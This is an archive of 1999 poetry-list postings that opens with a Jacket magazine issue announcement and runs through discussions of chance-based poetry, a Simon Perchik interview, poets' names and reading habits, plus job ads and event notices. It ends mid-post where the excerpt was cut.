If you don't wish to receive notifications of new issues of Jacket magazine (I send out about six per year), please say so, and you will be removed from the mailing list pronto. If you know someone who'd like to be on it, please ask them to drop me a line.
==========
=

Jacket magazine celebrates its second full year on the Internet with the release of Issue # 8, full of glittering insights and threnodic urges:

* Jaime Saenz Feature * five poems, and excerpts from the long poem Immanent Visitor, translations by Kent Johnson and Forrest Gander

Poet Jaime Saenz (1921-1986) is Bolivia's leading writer of the 20th century. Prolific as poet, novelist, and non-fiction writer, his baroque, propulsive syntax

and dedication to themes of death, alcoholism, and otherness make his poetry among the most idiosyncratic in the Spanish-speaking world.

R E V I E W : Forrest Gander reviews JOHN ASHBERY'S new book Girls on the Run

I N T E R V I E W : David Baratier - Interview with quirky Brooklyn bard Simon Perchik . . . and eight poems by Simon Perchik

G R E A T M O M E N T S in Literature No. 8: - early one morning in a swimming pool on the Aeolian island of Lesbos, Sappho Sees the Light!

I N T E R V I E W : Noel King - Interview with Pagan Kennedy

P O E M S : Stephen Bett, Ken Bolton, Lee Ann Brown, M.T.C.Cronin, Henry Gould, Griffin Hansbury, Hsia Yü, Garrie Hutchinson, John Latta, Katherine Lederer, David Lehman, Simon Perchik, David Prater, Rodney Pybus, Gerald Schwartz, Robert Sheppard, Andrea Sherwood, Guy Shahar, Chris Wallace-Crabbe.

R E P O R T : The 1999 Cambridge Conference of Contemporary Poetry recollected in tranquility by Alvaro de Campos: " . . . for several months now I had not seen my friend Soares: my marriage to Conchita had ended, and for consolation I had gone back to my researches on informal fallacies, or sought oblivion in peyote. In the evenings I walked much. Then one night, caught in the electrical storms of an unfamiliar neighbourhood, I found myself entering an ill-lit bodega . . . "

M O R E R E V I E W S :
Dale Smith reviews Anselm BERRIGAN
Patrick Pritchett reviews Lee Ann BROWN
Jack Kimball reviews Katy LEDERER, Juliana Spahr, Tina Celona, and Martin Corless-Smith
Tim Morris reviews Keston SUTHERLAND

And a slather of glowing graphics!
==========
Jacket is a free literary quarterly published on the Internet by Australian poet John Tranter.
Trim, taut and terrific -- no ads, no frames, no Java! If you like Jacket, please tell your friends.

PLEASE NOTE: Editor John Tranter will be away from his post from October 10 until November 10, 1999, trawling the fleshpots of Frankfurt, Prague, New York (shudder!) and Los Angeles for literary gems for the next issue. Only urgent correspondence, please.

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

↑ Index

443. **KENT JOHNSON**

Mark Nowak (re: 2 queries)

Tue 28 Sep 1999

Jay:

One of the most interesting and compelling results of chance-driven method is in Mark Nowak's "early" work (ca. 1990-92), though such classification makes him sound like a museum artifact or something, which he isn't-- he lives, still under 40, I think, in St. Paul. I haven't been in touch with Mark for quite some time, but knew him while he was developing this series when we both were students at Bowling Green. I can't recall now the name of the series, nor the old, idiosyncratic source text he was using, but selections appeared in a number of magazines around that time, including in his furtive and very fine _furnitures_, and in a magazine (I don't know if it is still publishing) called _Cyanosis_, where there are numerous selections and a discussion on the work and chance/procedural methods in general between Mark, me, and the prominent Russian critic Mikhail Epstein. I think this came out in 1991, though I no longer have the issue.

I also believe Mark has a book coming out from Coffee House Press, and it's possible that there may be some examples therein. In any case, I know he was corresponding with MacLow and Cage back at this time, and both, I remember, were very interested. Come to think of it, I believe there are some samples from this work in the anthology edited by Lisa Jarnot, et.al. A New American Poetry (?), but maybe I'm misremembering.

So you and others interested in "chance-generated" work may want to track some of this down. It was a project done with great seriousness and care, and the results were quite beautiful.

Kent

Jay Sanders wrote:

2. I've become very interested in chance-generated and procedural poetry and
have been reading lots of Cage and MacLow. Also, I recently got Joan
Retallack's book 'Afterrimages.' I could use some suggestions

regarding
other poets which might be of interest, and any critical work
centered on
aleatorical methods-especially related to Retallack and other more
contemporary writers. Cage tends to be really explicit about his
methods,
MacLow relatively so, but I haven't found much on other writers.
Again, I
hope this isn't redundant as I'm a new subscriber. THANK YOU.

↑ Index

444. Ron Silliman
Aural Eyes at The Farm
Tue 28 Sep 1999

"This is eerie, I just sent something to poetryetc about The Exquisite Corpse, and I seem to remember reading in their pages this theory about the seemingly obligatory "n" ending to Langpoet's names. Was that you who wrote that for the Corpse? And would that make John Milton and Walt Whitman precursors to L=A=N=G=U=A=G=E?"

And Dickinson
Patchen
Kaufman
Cullen
Olson
Berryman
Goodman (but only the Lordly HudsoN)
Duncan
Merton
Whalen
Corman
Blackburn
Johnson (Ron, Ben, Sam)
& of course Anon

Rae Armantrout's husband is named KorkegiaN
and you will note the cute vispo twist of Bruce Ndrews

But how do you phathom the sisters Howe?
unless it's that first name proxy of FaNNy & SusaN
(by which one could claim RobiN Blaser, AlleN Ginsberg &
JohN Lister Spicer)

Ron

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

445. **Lowther, John**

Re: Winners-Deep South Writers Conference Contest

Tue 28 Sep 1999

---

i'm not familiar with any of the other winners in this
but that randy prunty guy is awesome
and i hear he has a chapbook coming out soon
to be called _Van Gogh Talks_

> *-----Original Message-----*
> *From: Jerry McGuire [SMTP:[redacted]]*
> *Sent: Monday, September 27, 1999 2:53 PM*
> *To: [redacted]*
> *Subject: Winners-Deep South Writers Conference Contest*
>
> *The John Z. Bennett Awards in Poetry*
> *First Prize ($300).....Randy Prunty.....Lilburn, GA*
> *..... "the place they were memento"*
> *..... "gene pool now hiring"*
> *..... "shoulders are for holding back"*

↑ Index

446. **Ron Silliman**

Jacket #8

Tue 28 Sep 1999

Just a quick note here to point out the Simon Perchik interview in the new issue of Jacket:

http://www.jacket.zip.com.au/welcome.html

This is a long overdue piece on one of the more active poets we've had for decades and a very
interesting take on how a poet might fit in who was, for so many years, busy primarily doing other
things, especially practicing law. (When, in the early 1970s, I considered lawschool briefly, I wrote to
Perchik and sought his advice. He gave it freely and helped steer me away from such a fate.)

Perchik was continually in the interesting magazines of that period and, had the Allen anthology

appeared a little later, might well have appeared there. His books, like all those of Elizabeth Press,
were excellent examples of what a small press edition could be. (Writing this, I realize that I
must owe Robin Blaser for having acquired these works originally for the SF State library,
where I first encountered them -- the first two in any event would have been in print before Robin
headed north.)

David Baratier has done us all a great service. The issue has several poems and Baratier's
interview brings out both the expected (the best explanation of the Perchik's trademark use of the
colon, displaced immediately in front of a word, like :this) and the unexpected (the origin of
many of the pieces in photography and the systematic nature of his practice surprised me).
This is what scholarship should be.

Bravo to all involved,

Ron Silliman

↑ Index

447. **Ron Silliman**

More on Jacket (or maybe less)

Tue 28 Sep 1999

Baratier's interview is also an antidote to the Alvaro de Campos report on the Cambridge Conference on Contemporary Poetry, in which Sr. de Campos appears to have had mild fantasies about one or two poets (female) and detested everything else. Sort of a Rolling Stock classic, post la lettre.

One suspects that whatever happened at that conference, it was not what is reported here.

As John Tranter notes at the end of the piece:

"It should be noted by readers prone to fits of excitability and obsessive thoughts of revenge that the opinions of Senhor de Campos and his companion are not necessarily those of the editor of this magazine."

He is, however, the editor.

Ron

↑ Index

448. Chris Stroffolino
ET AL STROFFOLINAN
Wed 29 Sep 1999

I, better known as ET and/or AL,
to the likes of YASUSADAN

would like to inform that
I've poems on the POET PHONE
Today and Tomorrow....
[redacted]

And also that there's a reading
I'm allegedly reading
with Janet Bowden (who's "new" I suppose)
at this ZINC BAR place....

ON SUNDAY OCT. 3, 1999
AT 7ish,
90 HOUSTON ST. North side, basement down the stairs
west of La Gaurdia....

(the same night ANIMAL FARM debuts on the TNT network.
pick your poison:
Napoleon: He's in it for Power
Jessie: She's in it for Freedom
Moses: He's in it for the Chicks)

THIS READING WILL NOT NECESSARILY BE TO
COMMEMORATE THE PUBLISHING OF
MY BOOK STEALER'S WHEEL, which is
a must read for all fans of the SILVER JEWS,
for instance, but the book is out
and has received kudos,
largely by the author himself....

↑ Index

449. Jerrold Shiroma
Barry Alpert
Wed 29 Sep 1999

Does anyone, by chance, know how to get in touch with Barry Alpert, who edited Vort back in the 70's?

Any assistance would be appreciated.

Best,

Jerrold

www.durationpress.com

↑ Index

450. **derek beaulieu**
writing canada into the millennium
Wed 29 Sep 1999

Announcing the opening of:

'writing canada into the millennium: canadian poets online'

This University of Calgary English Department electronic project provides an organized guide to the chronological, geographical, and publication histories of selected Twentieth-Century Canadian poets. Our goal is to provide the public and the University community with an organized pedagogical tool to assist research on the history and contemporary concerns of Canadian poetry.

We can be found at:
http://www.ucalgary.ca/UofC/faculties/HUM/ENGL/canada/

Please pass on to whomever may be interested.

For further information, contact: [redacted], [redacted]
or
[redacted]

↑ Index

451. **Jeffrey Jullich**
CHAIN no. 7 theme?
Wed 29 Sep 1999

Does anybody out there know the theme for the upcoming issue of CHAIN, no. 7?

Thanks.

↑ Index

452. **MAYHEW**
an informal survey
Wed 29 Sep 1999

I am interested in a how people actually read books of poetry, e.g., straight through, the poems in random order, partially or completely, according to some other method, etc... Back channel or front is appropriate. Why do I want to know? Aside from the fact that I am an odd person, it seems that there is a

certain tension between the idea of an ordered collection of poetry and the fact that people often read poetry in more random fashion--I often read other kinds of writing like this now, reading random pages of novels or critical essays. I also have a theory that books of poetry are often structured redundantly.

Jonathan Mayhew
[redacted]

↑ Index

453. Dirk Rowntree
Mayor against museum
Wed 29 Sep 1999

“Elizabeth Freedman, an attorney speaking on behalf of the N.Y.C. Corporation Counsel´s office [Mayor Giuliani’s 680 lawyers], explained the City´s anti-art position. "Visual art...does not express ideas", Ms. Friedman said, "and as such is not entitled to First Amendment protection." 2/24/97 radio interview WNYC´s syndicated business news show, "Marketplace"

"An exhibition of paintings is not as communicative as speech, literature or live entertainment, and the artists´ constitutional interest is thus minimal." -Giuliani appeal brief arguing against street artists having First Amendment protection, Giuliani v Lederman et al and Giuliani v Bery et al, filed with the U.S. Supreme Court 2/24/97.

↑ Index

454. Michael W Bibby
Position Announcement
Wed 29 Sep 1999

Tenure-track, full-time assistant professor position in British literature after 1660, appointment beginning August 2000. Ph.D., commitment to effective teaching, and evidence of ongoing scholarly activity in the field required. Experience teaching composition preferred. Twelve-hour course load includes British survey, composition, introductory literature courses for non-majors, and occasional courses in the candidate's field. A demonstration of teaching effectiveness will be required as part of the on-campus interview. Highly competitive salary and excellent benefits package. Please send letter of application, current c.v., and three recent letters of recommendation to

> Michael Bibby, Chair
> British Literature Search Committee
> Departmen t of English

Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257-2299.

Applications must be postmarked by November 19, 1999. Shippensburg University is committed to equal employment opportunity. Women, persons of color, veterans, and the disabled are encouraged to apply.

↑ Index

455. Chicago Review
American Poetry at the Millennium Series
Wed 29 Sep 1999

Dear Poetics List Members,

The University of Chicago is sponsoring a reading and lecture series in 1999-2000, entitled "American Poetry at the Millennium." Mark your calendars.

Schedule of events:

Oct 14-15 Frank Bidart
Oct 18-19 John Taggart
Nov 11-12 Ko Un
Jan 20-21 Jorie Graham
Feb 17-18 David Ferry
Apr 20-21 Eleanor Wilner
May 4-5 Yusef Komunyakaa

Chicago Review is co-sponsoring. For times, locations, and lecture titles, you should e-mail Danielle Allen at [redacted]

I should also mention that David Ferry will be reading at Northwestern on October 27 at 7pm. For more info, call 847/[redacted].

Regards,
Andrew Rathmann
Editor

^^^^^^^^^^^^^^^

Check out our new website!
http://humanities.uchicago.edu/review

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637

↑ Index

456. MAYHEW
aural eyes at the farm
Wed 29 Sep 1999

Don't forget JonathaN and

RoN Padgett
JuaN RamoN Jimenez
RobiN, KeNNeth, etc...

A comparable phenomeon is the number of critical theorists whose last name starts with B:

Barthes, Baudrillard, Benjamin, Blanchot, Burke, Bataille, Butler, etc...

Jonathan Mayhew
[redacted]

↑ Index

457. KENT JOHNSON
Re: More on Jacket (or maybe less)
Wed 29 Sep 1999

Ron Silliman's criticism of the report in Jacket from the Cambridge conference raises an interesting question. Should personae be subject to "our" standards of cultural and social propriety? More to the tangled point of the case under discussion, should the visiting ghosts of personae originally brought into being by others be subjected to a personality modification to better accomodate current "sensibilities"? The Alvaro de Campos who reports on the Cambridge conference is suggestively akin (if actually quite a bit less of a sexist and pederast than the original) in his tone and bearing to the Alvaro de Campos of the 1920's and 30's-- a poet who stands today as one of the great poets of Portugal and Europe, even though he was never actually real, in the sense, anyway, that Ron, for example, is real.

If the editor of Jacket should not have included de Campos' remarks because the latter seemed to have been too carnally interested in some of the women poets present (men poets and women poets reading this-- have you never gazed leeringly at some poets of the opposite or same sex at conferences you've attended? Has sex never interfered with your attention and dispassionate listening? Is de Campos, truly, in a sense, not like you?) then he should have better excluded the translations of Bolivian poet Jaime Saenz that are featured in the same issue: Saenz flirted enthusiastically with fascism-- in fact, when a young man, he even took a trip to Nazi Germany to see the "achievements" of Hitler's

fascism for himself. There is no evidence, however, that he was anti- semitic or acutely sexist like Williams or Pound or Spicer, etc. etc. etc. poets who, heaven forbid, will never reappear to report back for Jacket on the MLA or something! Can you imagine how uncomfortable for sensibilities that might turn out to be?

Kent

↑ Index

458. Daniel Zimmerman
Re: CHAIN no. 7 theme?
Wed 29 Sep 1999

Jeffrey Jullich wrote:

> *Does anybody out there know the theme for the upcoming issue of CHAIN, no. 7?*
>
> *Thanks.*

Memoir/Antimemoir

Self-portraits, identification papers, true-false forced confessions, biotexts, curricula vitae, journals, annals, diaries, life stories, family trees, personal-native-credit histories, entries, records, affadavits, tell-all's, mirror images, memorabilia, identities, a.k.a.'s, contributor's notes, resumes, passports, autobiographies, repressed-false-happy memories, memoirs.

:~)

↑ Index

459. KENT JOHNSON
(Fwd) Query for Russian anthology
Wed 29 Sep 1999

I am making this query at the request of Leonard Schwartz and John High, who are editing a new anthology of contemporary Russian poetry for Talisman books. Replies should go to Leonard at the email below. The request is this:

Does anyone have contact information for the critic and translator Donald Wesling?

[redacted]

↑ Index

460. **raea100900**
Re: address request
Wed 29 Sep 1999

Dear All,

Does anyone know a way to reach Anne Carson?? I'd really appreciate back channels.

Rae Armantrout

↑ Index

461. **Joel M Bettridge**
Ronald Johnson Conference
Wed 29 Sep 1999

I am putting a conference together for this coming April (2000) here at SUNY Buffalo on Ronald Johnson, and wanted to find out if anyone had suggestions of where I should send a call for papers--universities, other lists, groups, etc--or if they knew anyone specifically beyond this list who might like to be involved. I will post a general call for papers sometime in October, but I am still gathering a list of interested people. So if you have any ideas let me know, or if you want to go ahead and send an abstract (any aspect of Johnson's writing is open for discussion), go for it. Also please forward this message to anyone that comes to mind.

emial: jmb10acsu.buffalo.edu
Address: Joel Bettridge
259 Ashland Ave #3
Buffalo NY 14222

Thanks,

Joel

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462. **Bob Grumman**
Re: an informal survey
Wed 29 Sep 1999

I like this question (how do I read a book of poems?) To start with, how I read a book of poems depends on who composed it. If I know the poet well, I very probably will try to read it straight through, stopping when tired. If the poet is new to me, I'll probably read the first poem, but rarely keep going by the numbers unless the first poem really grabs me--which the first poems of poets new to me rarely do because of me, not the poet. With new poets' work, I'll skip

around a bit, then either drop out of the book or keep skipping around till I've read all the poems, depending on how well I like them. Another consideration is why I'm reading them since reading a book I've agreed to review makes me read a little differently than just reading a book. I also sometimes read a collection for inspiration, looking for techniques I can use (mostly) and so I skim. Many times I just glance at the poems in a book and don't read any, if they're obviously crap. Rhymes and God are an obvious indicator (and I'm speaking now mainly of collections submitted to my press--and with one of them usually hunt for the shortest poem in it). Free verse angst is usually pretty obvious to the most superficial of skims. (There is danger I'll miss irony, though.) Visual poetry is usually easy to get an idea of without even verbally skimming. I hardly ever read a collection straight through at one sitting. (I think the ideal number of poems in a collection is around 20 one-pagers, or the equivalent of longer poems--usually.) I'm sure I chould be able to say a lot more but can't think of anything to add right now.

--Bob G.

↑ Index

463. **A H Bramhall**

A Duly Savage Statement

Wed 29 Sep 1999

---

note this desperate saga of intensity in which people and their words fall into shuddering differences of opinionated lethargy. the result: people speaking of terms to integrate their nothings and their somethings into new party politics, or partly new, or old, or savoury: we're talking words here. meanwhile, self-same people determine their place, and furthermore, place themselves. within logical extremes much can be isolated for study. this study would need more participants, especially those eagerly wired for further assumptions. the assumptions can fly into any direction or region, the point is mostly that the tones be pure and never risky for the logical extreme. the logical extreme must remain compliant at all times. with that one rule in place, much can nonetheless move forward. 1st of all determining if forward is anywhere, and if that anywhere could usefully challenge the current pedigree of assumption. debating that will cause minutes to lope into hours and hours to spill into rivers and rivers to furnish stars and stars to explain communities and communities to isolate individuals in odd practices, suggestions, barriers, principles and bunds. the work will go on.

↑ Index

464. **Tosh**
Re: Mayor against museum
Wed 29 Sep 1999

No pun intended but the Mayor of NYC is full of shit (elephant and otherwise). I have seen Chris O....'s artwork in London and there is no reason in heaven or hell it should have a problem being shown in a public place. This is another case of a politican trying to get media space. What bullshit (and again no pun intended).

Tosh Berman
TamTam Books

↑ Index

465. **Karen Kelley**
Re: Jacket #8 / Perchik-Baratier interview : ~reply
Thu 30 Sep 1999

Jeffrey Jullich, I don't know if I'm understanding your response to the Perchik "revelations" about using photos as a jumping off point for his poetry: you seem disturbed about his presenting "incomplete information." Are the actual images of the photos what you feel you are "missing"? Or do you wish you'd known about the process/origins of the poems before you read them?

You said: "His entire output is an ~ekphrasis,~ and if we were to see those source pictures side-by-side with their respective poems, many things that previously had appeared non sequitur, unexplained, or gratuitous would now jump out of the picture's frame as justified, even mandatory."

My first question is: Whose output would you cite as *not* an ekphrasis?

And as far as finding missing info in the photos, Perchik says: "The photo is important only in that it makes me move forward. Not that the photo will ever be in the poem. 99.9 per cent of what is in that photograph never appears. So when people say, "You're writing a poem to a photograph, let me see the photograph" I say, 'Listen, they have nothing to do with one another.' Very often, there is a need to write. Just as there's a need to talk, and if you feel like writing but you don't know what to write - this is as good a method as any."

It seems to me that he uses the photos as a kind of oblique motivator, and that the"information" in the photo is not at all what's of concern. So it can't really be "missing." And I can't speak for Ashbery or Lauterbach, but I've always felt that they were working somewhat similarly toward poems that are--as David

Sylvester has characterized Francis Bacon's work-- "descriptive, though not illustrative."

In reading the interview I was continually reminded of Howard Hodgkin, who describes his process as one that I would have thought quite similar to Perchik's, until--come to find out in reading your post--I found it is more like Ann Lauterbach's.

Anyhow, in reading your post I felt that you think Perchik using photos is a rip. Is that true?

↑ Index

466. Walter K. Lew
re Judith Barry
Thu 30 Sep 1999

This is a while back but as of October '95, Judith Barry was at the following address/phone #:

P. O. Box 708 / NY, NY 10002
[redacted]

I only met her once; I was interested in a talk she had given at the Whitney Museum (uptown) on Theresa Hak Kyung Cha's performance art. The Cha symposium (ca. January 1992) was co-organized by John Hanhardt, video/film curator at the time and now at the Guggenheim Soho and Larry Rinder, curator of 20th-century art for the University Art Museum, Berkeley.

--Ron, *if you have time* , can you tell us something about this? What has become of Judith Barry, do you know?

David.

Walter K. Lew
11811 Venice Blvd. #138
Los Angeles, CA 90066

↑ Index

467. miekal and
cybele introduces jouissance as a formiddable concept (fwd)
Thu 30 Sep 1999

"never apologize, never explain"

No flesh, only internet tactilespeech for Desire. Limbs & orifices, just conveniences for the relocation of passion. Desire is waiting in the chatroom for you, hands behind back, humming or skipping to a catchy song with no hooks. No

one who comes in the chatroom will talk to Desire because they are afraid to confront what they confine inside. There was somebody once, but she was a goddess, like Cybele should be, if we remembered her with new stories & bloodless awe. Desire does not like ICQ because everyday many men write asking do you want to fuck, but the internet is not for fucking, it is for the way language lays closely beside you when you are alone, deeply desiring Desire.

Monsieur Desire, it's a piece of wishful thinking

to desire, to wish, to want,
to long, to yearn, to sigh, to crave, to be eager,
to be anxious for, to want very much, to desire eagerly,
to desire to wish to do, to be desirous of doing,
to wish for, to be done, it is desirable that,
I wish I were, I should like to be, I want you to speak,
much to be desired, to have nothing left to wish for, what
would you like? what do you want of me? to make oneself wanted.
what can I show you, sir?

war
sword
foresworn
worship
towards
words
warning
coward
warm
warble
wardance

Desire Desire, ICQ #45422642

When the war is over I will be available. Probably you will not contact me, because my fingers are too stiff from hiding the war journals in the sheets of the other man's fiction. Trumpets when called for call. It isn't conflict without managing a bite behind the neck of her surrendered hiatus. A bite around the neck-neck, minus the text left, unreconstructed, minute & aplexy--typo shimmering devices of translation. Babelfish is my avatar romp. Come to the war & speak forth the ear trumpet. "Cough" your synlexic suprise. The war is turning. Rattlecoat Brigade, snookered in a hollow hill in yonder wisconsin underground railroad, 1864. West Lima, Wisconsin nearby.

misha sprocket, [redacted]

Of course this is the story we know so well, how the characters interact as if they know each other, as if the subtext is a semiotician's nightmare, barely unraveled in the dicotomy of notions & nomenclature. Without characters no one will breath or make exceptions for the ponderous density of the downloads. While once & for all linguistic madness is not a cute name for an honorary pasta, or for the charlatans of the early 20th century masterminding modernism's closure. "I ask you, as a character embedded in this know-it-all text to pray with alphabet structure & gematria equations, but only late at night when cyberspace beckons your undoing."

A. Sally Forth, [redacted]

HI~I AM SALLY~GIVE ME A BREAK~LOVE IS FOR SOMEONE ELSE~WHY DOES THAT SOMEONE HAVE TO BE YOU?~AFTER ALL THE TROUBLE YOU GOT ME IN~LITTLE STORIES THAT ARE JUST BEGINNING~I'M SO FRESH THE PUNCTURES HAVE HEALED QUICKLY~OPTION CHARACTERS ARE NOW THE WAY TO WRITE MY EXIT.

Louise Pubescent,

Where are the men in the narrative, what is all of this femalia, journals of the she & the she & the she. My friends are standing nearby, waiting for the men to arrive so they can kiss them when the war is over, to thank them in this lackluster dimly lit bar, hoisting stout after stout to those who died & those who ran away & those who sell love short when war will do. Someone is arguing outside the window, I must go & see what they want.

enter the text:
http://trace.ntu.ac.uk/writers/sondheim/index.htm

↑ Index

468. Alan Sondheim
~VM1
Thu 30 Sep 1999

~
~
~
~VM1
~
~
~
~
~VIRTUAL MODEL 1

~VM1:main() /* like you virtual model is function virtual model */
~we will watch you /* you are function virtual model */
~VM1:INPUT VM1 /* virtual model import virtual model */
~VM1 -> VM1 /* virtual model watch virtual model */
~VM1(audience(main()) <--> VM1(transmission)
~VM1' = VM1 /* virtual model is virtual model */
~VM1 = VM1' /* virtual model is virtual model */
~t(n) = t(0) /* for all time(n) for all n */
~sed 's/we/thee/g' < /* changes transformations still virtual model */
~sed 's/you/us/g' < /* pronouns virtual model into virtual model */
~sed 's/thee/*&^#@/g' < /* noise into virtual model into virtual model */
~tr a-z q-b < > /* changes phonemes still virtual model */
~sed 's/VM1/everything/g' < /* everything virtual model */
~tr A-Z R-C < > /* changes phonemes still virtual model */
~sed 's/everything/VM1'/g' < /* virtual model everything */
~VM1 -> VM1 /* virtual model frames and frameworks */
~VM1 -> VM1 /* virtual model frames and frameworks */
~VM1 -> VM1 /* virtual model frames and frameworks */
~VM1 -> VM1
~VM1 -> VM1
~
~
~
~

↑ Index

469. **Jeffrey Jullich**
Jacket #8 / Perchik-Baratier interview : ~reply
Thu 30 Sep 1999

Ekphrasis. Yes, an ~ekphrasis.~

I had wanted to mention the Jacket / Perchik-Baratier interview back when the list was discussing that topic "What should a standard cover letter include?" and all our resident editors were contributing how submitters should subscribe and scrutinize literary magazines and flatter the editors in the first paragraph. Perchik, some say the most widely published of all contemporary poets, says this on his strategy for publication:

"It's called carpet bombing. Three times a year, I used to do it four times a year, I write out all the envelopes from The International Directory of Little Magazines and Small Presses so there's no emotional involvement, I've got everything written out and all the return envelopes . . . When they come back all I do

is the mechanical act of taking the submission from the rejected envelope into a new one with a stamp and out it goes. No emotion involvement. I just feel it's coming back and out it goes again."

Wouldn't it be interesting to know what other tactics our more widely published poets use. Are we to imagine that all these other writers put in the ~hours~ necessary to thoroughly familiarize oneself with the literary journal horizon?

Perchik comes across as a highly plain-spoken man,--- but I thought his "revelation" about using photography books as the basis for all his poetry had tempting theoretical implications. After all, the opacity of his elliptical poems reads as constructivist, doesn't it? One tries --- ~I~ try --- to read him, like anyone's poem, by interrelating the material I'm presented with, and seeing what congruences can be drawn. But, from what Perchik tells us, we now see that any attempts at interpretation we've made had been calculated on the basis of what economics calls ~"incomplete information."~ His entire output is an ~ekphrasis,~ and if we were to see those source pictures side-by-side with their respective poems, many things that previously had appeared non sequitur, unexplained, or gratuitous would now jump out of the picture's frame as justified, even mandatory. It turns the sacred cow of ~referentiality/non-referentiality~ around on its horns. --- With other similar poetry, this pitfall of "incomplete information" usually turns up in the form of unstated ~autobiographical~ associations. Perhaps naively, for example to name only one, I was surprised to hear Ann Lauterbach's spoken introductions to her poems at poetry readings, where "fragments," as she calls her new style, that were hitherto inaccessible to me and read as autonomous inventions, in fact related back on an almost point-by-point basis to personal experiences she could identify, such as a trip around the coastline of Greece with--- John Hollander! To name two, there's an interview on the Net that I've lost track of, with John Ashbery, where Ashbery is asked to comment specifically on that poem of his that starts with the place-name "Nagoya", mention of "boy scouts", etc.; and he delineates that one obscurity about architecture goes back to his being stranded in the walled city of Chester, and that another came from him literally being at the Empire State Building (can you believe this?) and ~seeing~ a pack of boy scouts get off an elevator all with "Nagoya" on their baseball caps, and so on. (Cretan fallacy?) It's phenomenological, guys, but I can't help but think these distinctions ~do~ matter. (Personally, I have an aversion to a poetic principle that can be re-codified back into personal information.) Perchik's method just makes the role of concealed, supplementary information explicit--- hey! as though all these unannotated associations could be consumed back into one great ~Family of Man~ ~Wittgensteinian picture theory~ book!

Perchik also defies poet interview expectations by, aside from casual mentions of Corman, Olson, or Blackburn in a different context, having virtually nothing

to say, being asked nothing, about literary ~influences,~ canon, or contemporaries.

>>> Ron Silliman <[redacted]> 09/28/99 11:17pm >>>
Just a quick note here to point out the Simon Perchik interview in the new issue of Jacket:

http://www.jacket.zip.com.au/welcome.html

This is a long overdue piece on one of the more active poets we've had for
decades and a very
interesting take on how a poet might fit in who was, for so many years, busy
primarily doing other
things, especially practicing law. (When, in the early 1970s, I considered lawschool briefly, I wrote to
Perchik and sought his advice. He gave it freely and helped steer me away
from such a fate.)

Perchik was continually in the interesting magazines of that period and, had
the Allen anthology
appeared a little later, might well have appeared there. His books, like all those of Elizabeth Press,
were excellent examples of what a small press edition could be. (Writing this, I realize that I
must owe Robin Blaser for having acquired these works originally for the SF
State library,
where I first encountered them -- the first two in any event would have been
in print before Robin
headed north.)

David Baratier has done us all a great service. The issue has several poems
and Baratier's
interview brings out both the expected (the best explanation of the Perchik's trademark use of the
colon, displaced immediately in front of a word, like :this) and the unexpected (the origin of
many of the pieces in photography and the systematic nature of his

practice
surprised me).
This is what scholarship should be.

Bravo to all involved,

Ron Silliman

↑ Index

470. david bromige
Ends in N : Sheesh, it was a joke, not a system
Thu 30 Sep 1999

No, George, No, Ron, being a poet with a name that ends in N does not make one a LangPo; but one cannot be (my lightsome observation runs) a LangPo w/o a name that ends in N. David.

↑ Index

471. Robert Archambeau
Fiction/Literature Position
Thu 30 Sep 1999

Lake Forest College
English, Lake Forest, IL 60045
Assistant Professor of English

Fiction Writing/Literature. Full time, continuing appointment, starting fall 2000, pending administrative approval. Teaching will be split between writing courses (including composition) and literature in candidate's field of specialization, preferably 18th or 20th century British literature. Applicants must have a PhD in literature and also demonstrate accomplishment in fiction writing through publication and/or relevant graduate work. M.F.A. preferred. Interviews at MLA in Chicago. Please send letters of application, resume, and fiction writing sample to Diane Ross, Chair, Department of English, Lake Forest College, Lake Forest, IL 60045. Lake Forest College is a private liberal arts college near Chicago, with an enrollment of 1200 students.

↑ Index

472. Lowther, John
Re: an informal survey (which read how etc)
Thu 30 Sep 1999

jonathan

i doubt anyone is rigorously front to last, there's got to be someone i s'pose

my own habits depend on the book
consider that big 45-75 volume of creeley
from u of c press
rc's poems all for the most part small etc
i browsed that book a lot when i bought it
and still do browse in it
but the book mark that was in it for a year or more
represented where i'd read to
in linear counting fashion

a lot of collections of poetry are just that
a collection of things
beans in bag ----- like that

but it seems to me a shame to ~only~ read
spicer's little books or creeley's or
something like rosmarie waldrop's
reproduction of profiles or dorn's
slinger (obviously there are many more)
by an unstructured "chance" ops
kind of approach

will reading things in odd sequence
reveal things about them ?

eh.. probably.but i'd guess that
these revelations apply best to
to the texts experienced in this way

thus maybe suited quite well to some of
coolidge and bruce andrews and
jim leftwich and some john cage
but not so well to
david antin or some john cage etc etc

of course i'm sort of assuming that we're
talking about 1st reads here
and i'd bet that almost anyone
who has read a book already feel
quite comfortable browsing back thru it

to yr theory of poetry books
being structured redundantly ive
one last wonder
  is this something one

cdnt tell reading them
in the "missionary position" ?

that is
do you see yr non-sequential
reading habits as providing the
input to yr theorizing ?

i once read about 4,5 pages
of a novel backwards
while on a break at my job

it was funny

not really sure what else

↑ Index

473. KENT JOHNSON
LaNgpo's chest hair
Thu 30 Sep 1999

All those Names ending with N's!

Here's a pregnant phrase that ends with N too:

The Author function.

On another note, I went back to de Campo's exuberantly cynical take on the Cambridge conference and noticed that my memory from the first read of it (a couple months ago) was off. de Campos' (and sidekick Soares') reactions to the girl poets there are no different from their reactions to the boy poets there. In fact, if there is anything nearing sexual yearning in the whole piece, it is when the two heteronyms of heteronyms run their admiring hands over the chest hair of Michael Palmer.

Shocking, perhaps, but not so much as the de Campos of the Oda Maritima, who in opium ecstasy fantasizes being flogged and fucked (I believe that term is now the politically correct word?) by a whole shipfull of pirates!

Kent

↑ Index

474. Judy McDonough
mayhew's survey
Thu 30 Sep 1999

Probably this approach is meaningless to someone who reads pages from critical essays at random, but after expending considerable effort organizing a

manuscript of poems into a book, I want readers to humor me and read them as presented.

Judy Smith McDonough, editor, poetrynow
http://www.poetrynow.org

↑ Index

475. Jamie Perez
Re: Jacket #8 / Perchik-Baratier interview : ~reply
Thu 30 Sep 1999

interesting issues here... if anyone is interested in this part specifically:

> *there's an interview on the*
